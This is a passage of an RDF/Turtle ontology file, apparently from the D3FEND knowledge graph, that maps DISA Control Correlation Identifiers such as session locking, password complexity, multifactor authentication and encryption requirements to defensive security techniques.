    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000056_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000056" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system retains the session lock until the user reestablishes access using established identification and authentication procedures." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000057_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000057" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system initiates a session lock after the organization-defined time period of inactivity." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-19T00:00:00"^^xsd:dateTime .

d3f:CCI-000058_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000058" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides the capability for users to directly initiate session lock mechanisms." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-19T00:00:00"^^xsd:dateTime .

d3f:CCI-000060_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000060" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system conceals, via the session lock, information previously visible on the display with a publicly viewable image." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-19T00:00:00"^^xsd:dateTime .

d3f:CCI-000066_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000066" ;
    d3f:broader d3f:RemoteTerminalSessionDetection ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization enforces requirements for remote connections to the information system." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000067_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000067" ;
    d3f:broader d3f:RemoteTerminalSessionDetection ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system monitors remote access methods." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000068_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000068" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the confidentiality of remote access sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000071_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000071" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization monitors for unauthorized remote connections to the information system on an organization-defined frequency." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:RemoteTerminalSessionDetection ;
    d3f:published "2009-05-19T00:00:00"^^xsd:dateTime .

d3f:CCI-000139_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000139" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system alerts designated organization-defined personnel or roles in the event of an audit processing failure." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemDaemonMonitoring ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000143_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000143" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a warning when allocated audit record storage volume reaches an organization-defined percentage of maximum audit record storage capacity." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemDaemonMonitoring ;
    d3f:published "2009-05-20T00:00:00"^^xsd:dateTime .

d3f:CCI-000144_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000144" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a real-time alert when organization-defined audit failure events occur." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemDaemonMonitoring ;
    d3f:published "2009-05-20T00:00:00"^^xsd:dateTime .

d3f:CCI-000162_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000162" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit information from unauthorized access." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:CredentialHardening ;
    d3f:published "2009-05-22T00:00:00"^^xsd:dateTime .

d3f:CCI-000163_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000163" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit information from unauthorized modification." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:PlatformHardening,
        d3f:SystemConfigurationPermissions ;
    d3f:published "2009-05-22T00:00:00"^^xsd:dateTime .

d3f:CCI-000164_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000164" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit information from unauthorized deletion." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:PlatformHardening ;
    d3f:published "2009-05-22T00:00:00"^^xsd:dateTime .

d3f:CCI-000185_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000185" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for PKI-based authentication, validates certifications by constructing and verifying a certification path to an accepted trust anchor including checking certificate status information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:CredentialHardening ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000186_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000186" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for PKI-based authentication, enforces authorized access to the corresponding private key." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:CredentialHardening ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000187_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000187" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for PKI-based authentication, maps the authenticated identity to the account of the individual or group." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:CredentialHardening ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000192_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000192" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces password complexity by the minimum number of upper case characters used." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000193_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000193" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces password complexity by the minimum number of lower case characters used." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000194_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000194" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces password complexity by the minimum number of numeric characters used." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000195_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000195" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for password-based authentication, when new passwords are created, enforces that at least an organization-defined number of characters are changed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000196_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000196" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for password-based authentication, stores only cryptographically-protected passwords." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000197_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000197" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for password-based authentication, transmits only cryptographically-protected passwords." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000198_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000198" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces minimum password lifetime restrictions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000199_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000199" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces maximum password lifetime restrictions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-09-15T00:00:00"^^xsd:dateTime .

d3f:CCI-000200_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000200" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prohibits password reuse for the organization-defined number of generations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-05-22T00:00:00"^^xsd:dateTime .

d3f:CCI-000205_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000205" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces minimum password length." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2009-05-22T00:00:00"^^xsd:dateTime .

d3f:CCI-000213_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000213" ;
    d3f:broader d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication,
        d3f:Multi-factorAuthentication,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces approved authorizations for logical access to information and system resources in accordance with applicable access control policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000218_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000218" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, identifies information flows by data type specification and usage." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000219_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000219" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, decomposes information into organization-defined policy-relevant subcomponents for submission to policy enforcement mechanisms." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000226_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000226" ;
    d3f:broader d3f:ExecutionIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides the capability for a privileged administrator to configure organization-defined security policy filters to support different security policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000346_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000346" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms to enforce access restrictions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:UserAccountPermissions ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000352_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000352" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the installation of organization-defined critical software programs that are not signed with a certificate that is recognized and approved by the organization." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000374_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000374" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms to respond to unauthorized changes to organization-defined configuration settings." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OperatingSystemMonitoring ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000381_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000381" ;
    d3f:broader d3f:PlatformHardening ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization configures the information system to provide only essential capabilities." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000382_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000382" ;
    d3f:broader d3f:PlatformHardening ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization configures the information system to prohibit or restrict the use of organization-defined functions, ports, protocols, and/or services." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000386_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000386" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms to prevent program execution on the information system in accordance with the organization-defined specifications." ;
    d3f:exactly d3f:ExecutableDenylisting ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000417_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000417" ;
    d3f:broader d3f:ExecutionIsolation,
        d3f:NetworkIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization disables network access by unauthorized components/devices or notifies designated organizational officials." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000663_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000663" ;
    d3f:broader d3f:ExecutionIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization (or information system) enforces explicit rules governing the installation of software by users." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-000764_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000764" ;
    d3f:broader d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication,
        d3f:Multi-factorAuthentication,
        d3f:One-timePassword ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies and authenticates organizational users (or processes acting on behalf of organizational users)." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000765_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000765" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements multifactor authentication for network access to privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000766_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000766" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements multifactor authentication for network access to non-privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000767_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000767" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements multifactor authentication for local access to privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000768_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000768" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements multifactor authentication for local access to non-privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000771_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000771" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses multifactor authentication for network access to privileged accounts where one of the factors is provided by a device separate from the information system being accessed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000772_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000772" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses multifactor authentication for network access to non-privileged accounts where one of the factors is provided by a device separate from the information system being accessed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000774_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000774" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses organization-defined replay-resistant authentication mechanisms for network access to privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:One-timePassword ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000776_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000776" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses organization-defined replay-resistant authentication mechanisms for network access to non-privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:One-timePassword ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000804_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000804" ;
    d3f:broader d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication,
        d3f:Multi-factorAuthentication,
        d3f:One-timePassword ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies and authenticates non-organizational users (or processes acting on behalf of non-organizational users)." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-17T00:00:00"^^xsd:dateTime .

d3f:CCI-000831_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000831" ;
    d3f:broader d3f:CredentialEviction,
        d3f:ProcessEviction ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization implements a configurable capability to automatically disable the information system if organization-defined security violations are detected." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000877_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000877" ;
    d3f:broader d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication,
        d3f:Multi-factorAuthentication ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs strong authenticators in the establishment of nonlocal maintenance and diagnostic sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000880_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000880" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization audits non-local maintenance and diagnostic sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OperatingSystemMonitoring ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000884_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000884" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization protects nonlocal maintenance sessions by employing organization-defined authenticators that are replay resistant." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:CredentialHardening ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-000888_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000888" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs cryptographic mechanisms to protect the integrity and confidentiality of non-local maintenance and diagnostic communications." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2009-09-18T00:00:00"^^xsd:dateTime .

d3f:CCI-001009_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001009" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses cryptographic mechanisms to protect and restrict access to information on portable digital media." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001019_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001019" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs cryptographic mechanisms to protect information in storage." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001067_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001067" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements privileged access authorization to organization-identified information system components for selected organization-defined vulnerability scanning activities." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:PlatformHardening ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001069_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001069" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms to detect the presence of unauthorized software on organizational information systems and notify designated organizational officials in accordance with the organization-defined frequency." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001082_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001082" ;
    d3f:broader d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system separates user functionality (including user interface services) from information system management functionality." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001083_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001083" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the presentation of information system management-related functionality at an interface for non-privileged users." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001084_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001084" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system isolates security functions from nonsecurity functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001085_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001085" ;
    d3f:broader d3f:Hardware-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system utilizes underlying hardware separation mechanisms to implement security function isolation." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001086_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001086" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system isolates security functions enforcing access and information flow control from both nonsecurity functions and from other security functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001087_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001087" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization implements an information system isolation boundary to minimize the number of nonsecurity functions included within the boundary containing security functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001089_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001089" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization implements security functions as a layered structure minimizing interactions between layers of the design and avoiding any dependence by lower layers on the functionality or correctness of higher layers." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001090_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001090" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents unauthorized and unintended information transfer via shared system resources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:NetworkTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001092_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001092" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects against or limits the effects of the organization-defined or referenced types of denial of service attacks." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001094_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001094" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system restricts the ability of individuals to launch organization-defined denial of service attacks against other information systems." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

